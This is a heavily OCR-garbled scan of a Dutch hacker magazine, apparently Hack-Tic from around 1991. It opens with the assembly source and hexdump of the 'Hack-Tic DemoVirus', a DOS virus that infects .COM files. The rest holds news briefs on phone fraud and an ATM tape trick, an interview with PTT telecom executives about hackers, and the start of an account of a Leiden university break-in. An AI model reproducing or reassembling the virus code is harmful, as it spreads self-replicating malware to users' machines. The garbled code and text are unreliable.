gebruiken, Bel 820-6001480.
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tic segment
org 160h
assume ca:tic, ds:tic, es:tic
len equ cffset last-100h ;LENGTH OF VIRUS CODE
r
start: mov g1, 100h COPY VIRUS CODE
push 81 ; SAVE FOR EXIT
mov ax,cs
add ah, 10h ;G0 UP A SEGMENT
mov a8, ax
Xor di,di
mov cX,len ; LENGTH OF VIRUS
rep movsb : MOVE VIRUS CCDE UP
mov dx, 0fe00h ;DTA AT END OF SEGMERT
mov ah, lah
int 21h
mov dx,offset file
mov ah, 4eh :FIND FIRST .COM FILE
Jmp short find
retry: mov ah, 3eh ; CLOSE BANDLE
int 21h
mov ah,4fh ; FIND NEXT
find: push ca
pop ds ; RESTORE DS TO CURRENT
s SEGMENT
int 21h ;: FIND FILE
mov cx,0feleh ; MULTI-PURPOSE HIGH VALUE
;IN CX
je nofile ;NC {MORE)} FILES
mov dx,cx ;FILE NAME IN DTA
mov ax,3d0zh ;OPEN FILE
int 21h
xchg ax,bx : l-BYTE MOVE OF AMXBX
push es :POINT DS TO NEXT SEGMENT
pop ds
mov dx,di : END OF VIRUS CODE
mov ah,3fh ;READ FILE DATA (CX=FELE)
int 21h ; READ FILE AFTER VIRUS
add ax,len ; LENGTH OF VIRUS+FILE
cmp byte ptr [di],Obeh ;CHBEK IF ALREADY INFECTED
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je
push
Xor
mov
cwd
int
pcp
mov
int
Jmp

ncfile;push
pop
nov
nov
nov
pop
push
ret

file
last

db
db

ends
end

tic

1

retry

ax

CK,CX
ax,4200h

; DX=0

21h

cX

ah, 40h

21h

short retry

ca

es

bl,0fch

[bx], Caaach
[bx+2],0fce2h
di

bx

rx COM’, 0
0c3h

start

BE
F3
B4
Dl
00
59
47

¢l 00
Ad BA
3dE CD
BR 3D
68 80
B4 40
02 FC

56
FE
21
02
ap
cD
EZ

B8cC
00
B4
cbD
BE
21
SF

Cc8
B4
4F
21
74
EB
53

80
1A
GE
93
D9
C9
c3

cd
cD
1F
06
50
OE
2A

10
21
cD
iF
33
07
2E

17

; TRY AGAIN

i RESET FILE POINTER

;WRITE INFECTED CODE BACK

; LOOK FOR MORE
s RESTORE ES

:MOVE PROGRAM UP AND RUNW
:LODSB/STOSE INSTRUCTIONS

s LOGE TO ADDRESS INSTR.
;=100 BEX (SI=PROGRAM CODE)
sRETURN TO FC BEX

;MOVE CODE AND RUN PROGRAM

;SEARCH FOR .COM FILES
; STANDALONE VIRUS CODE
;s JUST RETURNS

Hexdump van het Hack-Tic DemoVirus

8E
BA
21
8B
c9
B3
43

ci
01
BY
D7
B8
FC
4F

33
62
FE
B4
42
)
4D
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FF
B4
1E
3F
00
07
00

B9 00
4E EB
72 28
CD 21
89 CD
AA AC
C3

68
06
8B
05
21
c7



Redaktie: Josef Virek J

Hack-Tic Light

Sabotage

Na een goll van aansiagen
gaat PTT Telecom schakel-
kasten beschermen tegen sabo-
tage. Inbrekers maakien de
kasten onklaar om op deze ma-
nicr stil-alarm systemen wit te
schakelen en hun slag te slaan.
De beoveiliging bestaat onder
andere uit ecn stalen kool en
betonnen versterking Verder
moeten de kasten voortaan geo-
pend worden met de TOBIAS-
identiteilskaart  die  iedere
PTT-er heeft. ledere handeling
aan de kast wordt in de centrale

geregistreerd.

Schakeifoutje

Justitie heeft mocilijkheden
met het aftappen van doorge-
schakelde telefoons (*21). Over
cen oplossing vindt overeg
plaats met FTT Telecom.

Cel populair

In Anna-Paulowna (IN-H)
kwamen mensen wit het hele
land bellen in cen aantal “onl-
aapde’ cellen. PIT Telecom
wilde peen commentaar over de
geleden schade”. Ook in Culem-
borg grote rijen die omwonen-
den de politie deden bellen.

Plak Je rijk

De Postbank maakic be-
kend dat de Giromaten niet ge-
voelig zijn voor de 'Plakband-
truc’. Onlangs stonden in Am-
sterdam dne jongens terecht

wegens het dichtplakken de
geldlade van geldautomaten, Ze
wachtien tot ;emand peld kwam
halen. Omdat de geldiade dan
niet openging dachi de klant aan
stonng en verdween. Dasrop

shoegen de jongens dan bun siag

Cel indiskreet

De polike taplt opeobars
telefooncellen af. Volgens ver-
klanngen van advocaten enoffs-
¢ieren van justitic gebeort dit
alleen in gevalken van rware
criminaliteit. Adwvocaal Stein
heeft aangekondipd zich, in ver-
band mct dit alluisicren van ge-
sprekken cn de privacy-schen-

dingen die dit teweeg brengt, te

wenden ot de Tweede-Kamer-
commissee van Justitie.

Telegids

PTT Tedecom maakt bekend
dat het voortaan nie! meer
mogelijk is in Telegids, de clec-
tronsche 008, te zocken op tele-
foonpummer. Het is echiter nog
steeds mogelijk het telefoon-
boek in digilale vorm 12 kopen
bij PTT Telecom en daar ¢en
zockprogramma op bos te laten.
Hackers hebben trouwens nog
maanden van de afgesloten
functie gebruik gemaakt: het
was cen viditel-achlig systeem
en de¢ vermajring naar de pagina
was wey maar do pagina zell be-
stond nop. Tebeguds s hereik-
baar wvia nommer 06-7400,
zoeken op naam en/of adres is
nog mogehk. 375 cent per
minuut.
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Telewerken

Het zevende SURFeongres
Etaat dit jaar in bet tcken van
"telewerken’. Het vindt plaats
op 4 moverdber in bet RAL Com-
gresceotrum  in Amsterdam,
Voor intichtopen: Stichting
SURPF, telefoon 030-3112M.

GreenPoint

PTT  “Tckoom  introdu-
ceerde op de Efficiency Beurs
nicuwe draadloze telocom-
municatiedienst. Lit  zoge-
naamde Oreenpoinl sysieem
bicdt nicuwe mogelijkheden tot

_ draadioos communiceren. Met

dit systoem kan via sogtoaamde
‘inbelpunten’ gebeld worden.
De handsets zijn, volgens FTT

‘I'elecom, door middel van ccn

pincode beschermd tegen on-
geoorioofd gebraik. De draag-
bare handsets worden in fe-
bruarn 1992 onder de naam Ker-
md op de markt gebracht en
gaan ongeveer 500,- kosten.
Gebeld worden op deze bele-
Toons is niet mopelijk, maar cen
ingebowwde semaloon Torgt
voor bereikbaarbeid  (yuck!,
red. )

Monopolie

De NS overwegen op den
duur hon infrastructour open le
steliem voor spraak- ¢n dataver-
keervan derden, 20 meldden wij
in het vorige nummer. Cok de

AMRO-bank onderzockt de
rrogeinkhesd de overcapaciiert
ap het epen datanetwerk aan
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derden san te bieden. De FIT
houdi vooriopig ket monopolie,
maar Furopees commussaris
Brittan beefl gedreigd ecn pro-
cedure bij het Europese hof te
starien als de telecommunicatie
niet geheel wordl vrjgegeven.

Uniek in Nederfand
Onder die kop levest PTT

Telecom voor f4995 .- een rope- -

naamde disk-fax. Men drukke
aan de enc kant van de lyn een
diskette in dit apparaat cn aan
de andere kanl rolt ket er weer
wit. Klinkt verdacht als een XT-
moederbordje, cen modem en
mwee Moppy-drives in cen leuk
Taiwan-doosje. Leuk bedachit,
dat wel. Bel 06-0403 voor meer
informatic.

Noodnet

I'TT Telecom heeft dit jaar
de eerste 1500 aansluitingen van
het Nationaal Noodnet geleide-
lijk in gebruik gesteld. Het
vormt een apart tebecommuni-
ralienetwerk voor berichtge-
ving van de overheid in tijden
VAN CTIEES &n ram pelluaties. Hel
onetwerk vervangt enkele ver-
cuderde en inmiddels buiten ge-
bruik gestelde voorziemingen,
waaronder her  Beschermd
Noodnel en bet Overheadsicle-
foonnet.

In Epe zijn twee jongens
door de polite  opgepakt
wegens hel gratis bellen in tele-

fooncellen. Ze hadden 'de tech-
nische Irue’ die hiervoor nodig
wis wit cen tijdschnft (008 truc
uit rummer 137). Het twectal
{18 cn 19 jaar) belde met vakan-
tievrienden in Skandinavié, de
Verenigde Staten en Loatser-
land. De PTT heeft aangifte ge-
daan wepens oplichting. De
voorlopige "schade™ wordt ge-
raamd op 2500 gulden. Als dit
twestal even komlakl opnecmt
krijpen ¢ cen appeltaart.

Cryptel

PTT Telecom heeft cen
nicuwe afdcling dic Crypiel
hect. Cryptel is gespecialiseerd
in beveiliging van telecommuni-
catic door versiewteling, PIUT-
research heeft cen santal sys-
temen omdwikkeld voor het be-
wveiligen van voice-, data- en fax-
verkeer. Maar wat nu als ik mijn
telecommunicatie no  hoofd-
zakelijk tegen de FTT wil be-
schermen”?

Miet meer gratis

Het tesinummer + 1415552
D046 waarvan we in een vorig
nommer melding  maakicn
(sweep lest tone) is sinds een
tijdje niel meer gralis! Bel dit
nummer dus nicl meer tenzij je
de rekening nict hoefi te be-
talen.

Een virus in uw PC?
Als je¢ bij FIT Telecom
werki en pe hebt een virus in je
PC (het Hack-Tic Demo Virus
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bijvoorbeeld) dan kun je je PC-
beheerder op laten draven met
Zdjn "Virukit’ om de "problemen’
te verhelpen. Deze bebeerder
belt dan ook het ceotrale meld-
punt voor computcrvirussen bij
FIT Telecom (050-852337).
Maak recente back-ups!

Bron: Amsierdams Peil,
personecisblad district Amster-
dam

Utopia
Wil j¢ ¢ens weten wat an-
deren uitvreten, initieer dan cen
dataverbinding via nummer
020627380, met bet Utopia
BBS.

CCC'91

Op 27, 28 en 29 december
van dil jaar is er zoals pebruike-
hijk weer het Chaos Communi-
cation Congress. Het vindt {ook
roals gebruikelijk plaats in het
Eidclstactier Buergerhaus in
Hamburg,

Collect via 06-0101

Via dit nummer kun je nu
gautomatiseerde  pollect-ge-
sprekken maken. De computer
laat je maximaal 10 seconden
berichl inspreken en belt dan
het door jou opgegeven pum-
mez. Als de opgehelde kant na
hel bencht op de nol drokt (of
draait) komen de kosten voor
hel dan wolgende gesprek op
haarf2yn rekening.
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Hack-Tic interview

PTT directie over het net en de hackers

Door Rop Gonggrijp

Social engineers onder U raad ik af
om t¢ proberen binnen te dringen in het
kantoorgecbouw Stichthage In Den
Haag, alwaar een deel van de PTT-di-
rectie huist. Ik had wellicht een goed
excuns, ik zou er een uor lang een inter-
view afnemen met de heren Coolen en
Dekkers, directicleden van PTT-tele-

CoIm.

Uit de hal opgehazid en {met bewaker) op hei
juistc kantoor-hokje afgeleverd, moet ik cok nog
naarde WC. De bewaker moest mee. Toegegeven,
hij hoefde niet verder dan de dewr, maar roch. Het
interview vond (vreemd gemocg) plaats in cen
ontspannen sfeer, Behalve ir L. Coolen, directeur
operations van het octwerkbednjf van PTT-tele-
com en ing. K. Dekkers, direcieur netwerken van
de internationale divisie van Telecom was 00k B.
de Vios, persvoorlichter bij de PTT aanwezig,

HT: De FIT is (zeker in vergelijking met
buitenlandse PTTs) tot su toe redelijk "hacker-
vriendelijk®. Als iemand ecn fout in het systeem
vindt overheerst vaak het gevoel voor humaor en
er is niet zo snel de neiging om de politie op
telefoonkrakers’ af te sturen. Waarom is dai?

Coolen: hou dat het anders is dan in het
buitenland, dat weet ik niet. Maar kijk, ons stand-
punt is toch niet iets van eh... dijenkietserige aard,
Het is ecn serievze zaak. Het gebruik van het net
anders dan waar het voor ontworpen is, is icts
waar je toch seficus mee moet omgaan. Wijvinden
dat bedenkelijk.

HIT: En op het technische viak?

Dekkers: Met een krampachtige houding krijg
je in ieder geval je informatic niet. Je moel daar
toch een beetye voor open staan inde zinvaneh...
"Nou laat maar cens zien wat j& hebr.” Wij kijken
mel infercsse naar dit soort zaken

Cooden: Het is naluurhyk zo dal bij het ont-
werp van hel nel specialisten betrokken zijn dic
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ook bezig zijn om dingen zelf ve kraken, Zij veagen
zich af hoe je het net nou anders zou kunnen
gebruiken dan waarvoor het bedocld is, zodat ze
het beter kunnen maken.

HT: }s er een afdeling "hacking’ bij de P11

Coolen: Het is een inherent onderdes] van
protocollen on signalcringssystemen die je maakl
om daar toch (ea dat opintcrnationale schaal ) cen
zo walerdicht mogelyk systeem van e makea. In
dit proces ga je dan als ontwerper ook cens even
aan de andere kant zitien om cens te kijken of het
inderdaad waterdichl 5. Daamaasi hebben wij
natuurlijk wat specialisten op beveiligingsgebicd
rondlopen die we kunnen inschakelen als dat
nodig is.

HT: Tot en met de jaren zeventig was er hin-
nen de PTT een cnorme trots *het net” (¢ kennen.
Met de invocr van alle nicuwe techaicken is dat
min of meer vérdwenen. e oude technicus die
zijn rclais kende is vervangen door cen extern
ingchuurd computerspecialist. Is daarmee een
stukpe noslalgie verloren, enweet de PTT zelf nog
wel hoe het net werkt?

Pekkers: Vioeger kon de baas van de ceptrale
op ='n gehoor aangeven dat de centrale goed liep.
Dat gehcorselement ontbreekt. Toch is het mijn
eigen ervanng dal daarvoor icts voor in de plaals
komi, waardoor men toch in staat is om bet beheer
goed wit te voeren. Ook de nituwe generatic is
enthousiast om weer een kwaliteitsprodukn te
leveren. Er onistaat een nicuwe naostalgie. Het
begind al bij het onderwijs: mensen die wij nu
binnen kmgen rjn nkel mecr cathousiast (e
krijgen voor die EEM-technicken, dat is ook lo-
gisch.

Coelen: Wat betrefl het zicht op wal sysiemen
doen en wal er m zit: Ontwikkchngen gaan snel,
maar ook omdal wij vaak aan de wieg staan van
nicuwe intermalionale standaards, bouwen wij
toch een redehygke hoeveclherd know-how op. We
zen natuurlijk wel dat cr hicr ca daar een pro-
bleem is in het samenstellen van de systemen. Het
is aan de PT1s om te zorgen dat calamiteiten niet
optreden en als ze onverhoopt toch optreden dat
het nel voldoende robuust is en daf cr altcma-



tieven zujn o de dienstverienig te waarborngen.
Daar gaat veel werk inzitien. Elet net moet 20
betrouwbaar mogelijk zijn.

Dekkers: We bebben ook een hele goede re-
latie met onze leveranciers, zodat we bij eventuele
problemen ook heel snel een beroep op ben kun-
nen doen, Protlemen zoaks U beschnjfl zie ik in
Nederland nict. Het centralepersoneel kan veel
problemen oplossen, dao zijn er landelijke teams,
cn als hel erg extreem wondt kunnen waj op de
leverancicrs lcrugvallen.

HT: Welk percentage van het Nedertandse
telefoonnet is nu digitaal?

Dekkers: Vanaf 1 jan 1995 zijn er geen EM-
centrales meer {nu minder dan 30%}), dic worden
ntw vrij snel vervangen. Het gaat hier om zo'n 400
systemen. Dan hebben we nog 300 computerges-
tuurde analoge centrales (PRX-A) en 250 volledig
digitale centrales (SESS, AXE of System-12).

HT:Komi er Caller-ID in Nederland? 7o ja,
verwacht U daar geen grote maatschappelijke el
over?

Coolen: U bedoclt dat hel nummer van
degene die belt avtomatisch wordt getranspor-
teerd naar de ontvangende kant. Dat is ecn fech-
niek die in ontwikkeling is. OF wij dat loe gaan
passen, standaard in ons net, dat is nOg even de
vraag. Daarzitlen privacy-aspecien aan vast endie
discussic willen we natwurlijk cerst voeren al-
vorens we dit invoeren. ~

Dekkers: Je hebt in feile twee tocpassingen.
Allercerst het bekendmaken bij de B-abonnee.
Daar zitten veel privacy aspecten aan vasi waar we
heel verantwoord mes om moeten gaan.

Coolen: Eventjes heel feitelijk. U weet, dit 15
alleen mogelijk bij ISDN. ISDN wordt per 1 de-
cember commercieel ingevoerd in de 4 grote
sieden. Dan gaal de proefl in Rotterdam over in
een commercicle introduktie. [Dat zal overigens
zijo met de Duitse standsard, Pas in 1993 gaan we
werken met de dan wilontwikkelde ETS] stan-
daard. Voorafgaande aan de invoering van ISDN
gaan we op 28 november in Rotterdam cen sym-
posium Organiseren met een aantal maatschappe-
lijke grocpenogen die zich bekommeren om de
privacy, Juist omdat ook rond het aspect Caller-
1D en ook rond andere aspecten nog de nodipe
conleoverses hangen.

HT: Op het analoge nel geen Caller-1D, zoals
nu m de V5.

Coolen: Alleen op et digitale deel. Op PRX-
A bangt het er nog een bectje van afl: daar mocten
toch een aantal technische aanpassingen voor
komen.

HT: Met alle digitale technick die komen gaat
{zoals ISDN) rist de vraag of het analoge net nog
wel een lockomst heefll. Wie zegl ons dal de
nicuwe alternatieven voor de consument betaal-
baar zullcn zijn? Wanncer verdwijnt het analoge
net?

Coolenc Zoals de lechnische onitwikkeliogen
nu gaan kopen wij alleen nog maar digitale cen-
iralcs en digitale transmissicmiddelen. Dus op
ccn gegeven moment, als de PRX-A centrale ver-
sleten is, economisch of technisch, hebben wij
allecn nog maar digitale centrales en digitale
transmissiemiddelen, Of elke klant dan ook een
digitaal telefoontoeste] moet hebben, dat denk ik
niet. Ook op bet digitale net {en dat zie je vandaag
de dag al) kun je analoge aansluitingen hebben.
Yoor wic gewoon simpel wil telefoneren zal er
altijd een analoge aanslwting zijn. Ak de klant
straks meer diensten wil, dan wil bij cok vanzclf
cen ISDN aansfuiting. Hetl kan ook zijn dat de
pnijs vao ecn digitaal toestel siraks zo laag ligt dat
men om die reden besluil om een 15N aanslui-
ting te nemen. Dal is cen puur markimechanisme.
De PTT biedt altijd beide mogelijkheden aan.

HT: Het is grappig dat een 1SDN aansiuiting
duurder s dan ecn gewoane lelefoonaansluiting,
terwijl het eigenlijk (aan de kant van de ceatrale)
minder voorstelt. Het analoge deel van de cen-
trale is er fussenuit gehaald en dat is een ISDN
aansluiting.

Coolen: Her prigsverschil zit erin omdat bel
digitale transport naar de klant thus nog steeds
erg duur is. Dat heeft ook met de schaalgroolte te
maken natvurlijk. Als alles digitaal wondt zal dat
wel goedkoper worden, maar op dit moment is dat
aog erg duur.

HT: Op 1 december komt er dus ISDN in de
grote steden. Zijn daarvoor de tarieven al be-
kend?

De Vos: B5,- per maand, dit is voor de 2B +D
aansluiling, maar over de precieze tanieven sturen
we U wel even een persberich

HT: [n de V5 is het de lokale telefoonmaat.
schappiien verboden om ISDN te leveren voor
meer dan cen normale telefoonaansiuiling,

Coolen: De tarieven van ISDN zijn ook verge-
lijkbaar met de tarieven voor hel normale tele-
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foonverkeer. Men moct bedenken dat £€n ISDN
lijn twee gewone lijnen vervangt.

Een tijdje later vall inderdasd bed belookde
persherichl over de ISDN tarieven In de bus,
Hierop echier niels over een symposiom, alleen
dat caller-1D aan zal sigan, dat hel alleen werki
tossen bwee ISDN aansheilingen, maar daljedere
gebruiker dit ken blokkeren. Verder is tijdens
hed gesprek over hel zo goedkope ISDN neoil
gesproken over aanslaitkosien van $00 gulden
voor cem ISDN bjn

Dekkers: Dan is er cen tweede type van Cal-
ler-ID waarbij je je identiteit via bijvoorbeeld
TDK-toonljes aan de andere kant duidelijk maakt
{PIN-codes cic.). Dat soort loepassing zic je stecds
vaker. Daar s1aat het net natvurlijk buiten.

H'E: Wordt etke telefooncel een kaarttelefoon,
of blijven cr altikd munttclefoons?

Coolen: Het beleid is er op gericht cen hogere
telefoonceldichtheid te creeren. Lr zijn nu ruim
BO0O celten.

e Vos: B400 om precies te zijn

Coolen: [Iind dit jaar zitten we op 10000. En
we gaan naar 22000 in 1995. Een verdrievoudiging
vanal april 1990 toen er ruim 7000 waren. Het
overgrole decl van deze 22000 worden kaaricel-
len. Er zullen wel altipd munitoesieflen blijven.
Als er ergens cen cluster staar zal er zo vaak
mogelijk een muntioestel bij staan. De groei in
kaartcellen zal cchier veel groter zijn dan de groei
in municellen.

e You: Wij zeggen altijd dat de verhouding
witeindelijk 60/40 ral zijn, 60 kaarcellen op 40
muattclefoons.

HT: Komen er cellen die de TeleCard en an-
dere magnectkaarten accepteren?

Coolen: Onder andere op Schiphol staan
reeds PTT-toestellen die credit-cards accepieren,
die accepleren nu ook TeleCards. Er zijn ook
planncn om meer cellen neer te zetten die credit-
cards of zelfs alleen de TeleCand accepleren, maar
daarover = nog geen uitspraak gedaan, dat zit nog
even in de pen.

HT: Hoe kijkt U 2ell aan tegen Hack-Tic, en
legen hackers in het algemecn?

Dekkers: Het wordt zeker met beschousd als
een spellenye, het is een sericuze vaak en het be-
drijf probeert gewoon om er 2o goed mogelijk op
te reageren. De basis is dat wiy een #o [raudehe-
stendig mogelijk nel op willen bowwen. Als het
hackers lukt om allertel ongewenst gebruik van
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bet net te maken proberen wij dat natourdijk te
vooTkomen.

HT:kr lijkt een verschil te zijn tussen de ma-
nicr waarap de wechnici tegen hackers aankijken
en de wijze waarop managers dat doen. Waarom
zow dat zijn?

Coslenc: Ik denk dat het een alpemesn gevoel
is bij de PTT dat als iemand het net kan kraken,
we dal dan geen van alken leuk vinden, en dat we
proberen om er zo snel mogelijk icis aan te doen.

Dekkers: Het 1s onre e&r 1€ na.

HT: Tot hocver kunnen hackers bij U gaan?
Waar cindigt het "leuke spelen met het ielefoon-
net” en doel U aangilie bij de politie?

Dekkers: [n priacipe is ook het gratis bellen
voor eigen pebruik natuurtijk ongeoodoofd mis-
bruik cn we mocten dat ook via de juridische kant
cems goeed bekijken.

Coolem: We bekijken dat van geval tol geval.
Ecn ding stasl vast: we proberea er alles aan te
docn om dit soort gebruik onmogelijk te maken.

HT: Als het onmogelijk zou blijken te zijn om
bepaalde dingen technisch aan t¢ pakken, zou er
dan naar juridische middelen worden gegrepen?
I= er een spanningsveld in de zin van "eerst maar
proberen om het techaisch op 1 bossen, ca als dat
nict fukt via de juridische weg proberen™

Coslen: Het is oms doel het ned z0an te nchien
dat misbruik niet, of allecn tegen hele hoge kosten
voorkomi waardoor het dus meet meer gebeurt.
10085 beweiliging is nooit mogelijk. Daamaas
kijken we per geval of we er juridisch icls aan
kuanen doen.

Dekkers: Verpelijk bet met zwartnpden. Er
zijn veel mensen die het doen, maar toch dien je
voor de dicnst openbaar vervoer de betalen.

e Voo Als je icts jundisch wilt aanpakken
mact je toch allijd nagaan in hoeverre het open-
haar ministenic icls in de zaak zicl.

HT: Hoeveel fraude is cr nou precics op et
telefoonnet? Erwordl toch hecl wat gefravdeerd
met lelefooncellen, belhuen cle. Wordt fraude
meer of juist minder?

Coolen: Tk denk dad ik daar peen uilspraak
over doe.

De Yos: Ik denk dat alles wat we daar over
regeen alleen maar uitnodigt 101 meer speculatie.

HT: U gecil ook geen beeld van cen meer
akgemene trend? Stijgt het?

Ne Vos: Nee, ook daarover willen wij niels
ZEEECO.



HT: Hoe zit dat met bet internationaal tele-
foneren, is die siteatie cnder controle of kan nog
sleeds een jeder gratis bellen?

Delckers: Er zijn bepaalde maatregelen
genomen. En die sstuatie is nu onder controle.

HT: Wie betaatt de rekening?

Coolen: Erzijn daar natunriijk mei de diverse
administraties afspraken gemaakt, maar het lijkt
me niet zo opportuun om daar nu uitspraken over
te doen.

HT: Wal voor scort mastregelen betreft het?

Dekkers: Er zijn om dit soort dingen t¢ voor-
komen aanbevelingen tussen verschiliende lan-
den onderling, en wij hebbener nogeenswat extra
aandacht aan besteed om dic aanbevelingen na te
leven. Verder dringen wij daar dus nu ook bg
andere landen op aan.

HT: ATF1 was onveilig, toen kwam het
veilige ATF2 en dat werd ook gekraakt.
Sinds een tijdje belt ook Jan en Alleman
gratis met ATF3. Wordt ATF4 cok weer
veilig?

Coolen: In ATF4 (het digitale GSM
net) is vanal het begin de hele beveiliging,
en de identificatieprocedure met name,
met de meest moderne technicken sange-
paki. Het gaat nu toch om een cnkraakbaar
systecm, voor zover die inderdaad bestaan.
[k denk dat dit een heel “sophisticated® sys-
feem is.

HT: Wat doet de PYT als (bijvoorbeeld
in het kader van het verdwijnen van de
Exropese binne n) het monopolie
wordt opengebroken? Speelt bij de techai-
sche beslissingen de pedachte mee dat het
aetf straks in kieine stukjes op te delen moet
zijn? Is dat zowieso in Nederland wel moge-
Lijk?

Ceolien: Er zijn pcbicden waarvoor we
cen consessie hebben, daar zijo we trots op
en daar gaan we zuvinig mee om. We
proberen daar zo'n prestatie te leveren dat
Nederland geen behoefte heeft aan cen
concurrent. We kijken eens om ons heenen
wr proberen jedereen die het ons echt
moeilijk zoo kunnén maken te verbeteren.
Daardoor slaan we twee viiegen in | klap:
Mederfand heefl geen behoefte aan een
iweede conssesionair (monopolichouder,
HT),cnals Nederiand er toch behoefte aan
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heefi dan rullen die nog een rware dobber hebben
aan de PTT.

HT: En als het Evropese hof zich straks wit-
spreckt om het interiokaal en internationaal ver-
keer op te splitsen.

Coolen:: Het is niet aan de PTT om daar over
tc beshssen, als de overheid het 2egt richten wij
ons dazrnaar. Als dat mocht gebeuren dan zullen
wij ons daarnasr schikken. Wij denken dat dat niet
70'n goede zaak is, maar als de politick ¢r anders
ower denkt, het zij zo.

HT: En als via het awtotelefoonnet een abon-
nce it land A via ons autoteiefoonnet naar land
B belt, komen daar straks ook aparte laricven
voor?
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Cooles: Technisch, in de structwur, kan dit wat
U zegt. Om dat toe te staan zijn er allerle: admin-
istralicve regelingen oodig, en ook contracten
tussen operators.

HT: Is er in Nederland voorrien dat bij ATF
meerders operators maast clkaar steunzenders
gaen onderhouden?

Coolen: Als ik de minister goed begrepen heb,
nogmaals het is niet aag ons, bet is aan de over-
heid, dan deake zij hierover en zal zj hierover ie
zijner tijd vitspraak doen. Wij gran ervan uit dat
er ecn tweede operator komt in Nederland voor
ATF4. Nogmaals bet s nicl aan ons, van ons hoeft
het niel, hel is aam de minister, en die heefl te
kennen gegeven dat ze daarop aan het studeren is

¢a daar een vitspraak over gaat doen.

HT: Er ziin nu koopnummers van 50 cent per
minuunt, er komen siraks koopnummers van 75
cent per minuat. In de VS zijn erde "%00 nummers’
waar je b, concertkaartjes per telefoon kunt
kopen, en waar de telefoonmaatschappij dus ver-
valt tot een S0t incassobureau.

Dekkers: [nteressante gedachte!

Coolen: Het is nu al 20 dat de PTT de incasso
verzorgl en dan afdraagt aan de exploitant.

HT: Ik docl mcer op koopnummers waarbij
het horen van een bepaalde mededeling niet
langer het doel is, maar waarbij een achterliggend
1ets wordt gekocht,

Coelen: Als het om echt grote bedragen gaal
denken wij toch dal er een identificatie van de
gebruiker aan vast 2il inde zin dat het net wellichi
repl welk nummer het is maar dat je dan bijvoor-
beeld door het intoetsen van een PIN-code vast-
stelt dat het om de juiste persoon gaat. Maar het
i5 de 2o0g van degene die dit systeem zou gaan
exploticren om de zorgen dat ic weelt wic er bell.
Bij bepaalde diensten moet je ook nu al een aban-
nement hebben. De niewwe taricven (75 ct.) wijn
bedocld voor mensen die senicwe informalic aan
tc bicden hebben en die zeggen van: "Yoor die
twee kwartes kan ik het nict doen™.

HT: Worden sedijnen van dic nieuwe
nummers geweerd?

Coolen: Het is niet aan de PTT om acties te
ondememen betrefiende de inhoud van de bood-
schap. Dat zou ook verkeerd zijo. Het iswel zo dat
de lijnen van 73 cent voor amusement minder
interessant zijn.

HT: Lr wordt de laatsie tijd nogal wat ge-
schreven over een betere fysieke beveiliging van
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hel nationale telefoonnet. Wat 15 precies de ach-
terliggende filosofie? Wordt elk sehakelkastje een
vesting?

Ceolen: Ik denk dat de stap die wij no zetten
een hele stap vooruit is. Daar zit ook cen heel
gystecm achter.

HT: Wordt het personcel er niet gek van om
#ich bij el kastje te moelen denlificeren?

Coolen: Als je als FT'T-er begnijpt waarom dit
15 denk ik dat je je er wel aan howdt. [k denk dat
hict 0ok nict zo levk isals we als PTT in betrekking
met onze schakelkasten mel minder bkeuke dingen
worden geconfronteerd,

HT: Zoals?

Coolen: Inbraak, sabolage, coemt U maar op.

IIT: Komt dat nou op grote schaal voor? Ik
herinner me ¢en paar kranteberichijes, maar ik
kan me niet voorstellen dat je daarom een mi-
joencaproject lanceert.

Dekkers: Daur wil ik verder geen wvitspraak
over doen. Het kan zipn dat we op een bepaald
moment ogenschijnlijk siet ¢en kanon op cen Mug
schieten, maar we mocten eventucle tockomstige
ontwikkelingen voor hljven.




Laatste Nieuws

PTT Telecom sluit
Auto-Collect af?

De automatische collect-call service van PTT-
Telecom, wasrover meer in de Hack-Tic light van
dit remmer, 15 na een paar dagen in bedrijf te zjn
geweest op 23 oktober afgesioten. Als je nu na het
betien van 06-0101 in ket hoofdmenn opbie 3 kiest
krijg je de operator aan de lijn. De PTT heeft haar
cigen scrvice keonelijk geprobeerd {moeten ze
vaker docn) en is er achter gekomen dat ak de
gebelde partij gewooa haar/zija mond dicht boodt
en niet neerlegt, dit door het systeem wordt opge-
vat als het aannemen van de collect-call, ook al
wordt er niet op de oul gedrukt. Het probleem is
wellicht dat amtwoordapparaten precies het
bovenstaande doen.

Het was natuurlijk wel handig: je staat op ccn
station en je moet even doorgeven datze je komen
halen. Je beht 06-0101 en je geelt @ 10 seconden
door dat je aangekomen bent. De opgebelde legt
neer en komt je halen. De kosten voor bet bezor-
got van dit bencht worden betaald uit de mil-
joenenwinsten van PTT-Telecom. Het kan na-
tuurlijk nog steeds: je laat de operator een collect-
call maken naar Jantje. Jantje bestaat piet, maar
de andere kant weet dat dit het afgesproken sein
s om je te komen halen. Scheelt je toch elke keer
weer een kwartje.

De nadelige kant weegt natuurlijk zwaarder:
Je zuit maar 3 geaccepteerde collect-calls op je
antwoordapparaat hebben staan (& §5,00 per stuk
en dan 20 cent per minuut). Laten we hopen dat
dit systeem dan ook werkelijk een vroege dood is
gestorven en dat niemand het onzalige idee krijgt
om de gecsten tot leven te wekken. Zolang collect-
calls de PTT 5 gulden per stuk opleveren hoeven
z¢ van ons cipenlijk belemaal niet!

Hackers lazen post systeembeheer

Hack op Rijks
Universiteit Leiden

Sowhat? Bris weereens cen aniversiteitscom-
puter gehacked. De lol is deze keer dat hackers
alle post van de systeembeheerders vao de ge-
hackte machines konden lezen. Zo komden 22 op
de hoogte blijven van alle achies dic tegeg de
mdringers ondernomen werden en werd er ecn
langdurig spelicyje kat en muis gespeeld. Een
korte witleg van de post die je op de volgende 2
pagina's aantreft.

We vallen in bet verhaal als een systeembe-
beerder reageert op een bericht waann 1 van de
hackers de beheerders op een fout attent maakt.
De systecembeheerders vinden nogal wat gaatjes
in hun systeem en melden die via ¢ -mail aan elkaar
i dus 0ok aan de hackers.

Eenvande hackers vindt het zo niel langereen
uitdaging co stuurt een berichtje aan het systeem-
beheer om ze te vertellen dat ze dit soort zaken
beter onder 4 ogen kunnen bespreken.

De systeembehecrders hebben nog steeds de
iHusic dat de inbreker zich erpens op de universi-
teit verschanst en willen een paar loging open
laten staan om de snoodmands e pakken, maar
worden (van bovenal 7) verzocht de zaak dicht te
stoppen, dit i.v.m. mogelijke schade.

Mea begint mail no met 'natuurdijk weet je niet
zeker of ik het ben', maar verder praat men rustig
verder terwijl de hackers meelezen. Deverwarring
dic nu ontstaan is kan de hacker niet meer aan-
zien. Hij connect direct met de mail-poort van het
systeem (iricky, maar het komt er op neer dat je
het systeem geen afzender meer voor e-mail hoeft
e vertellen) en legt in een berichtje de situatie uit

Wie is kat en wie is muis?

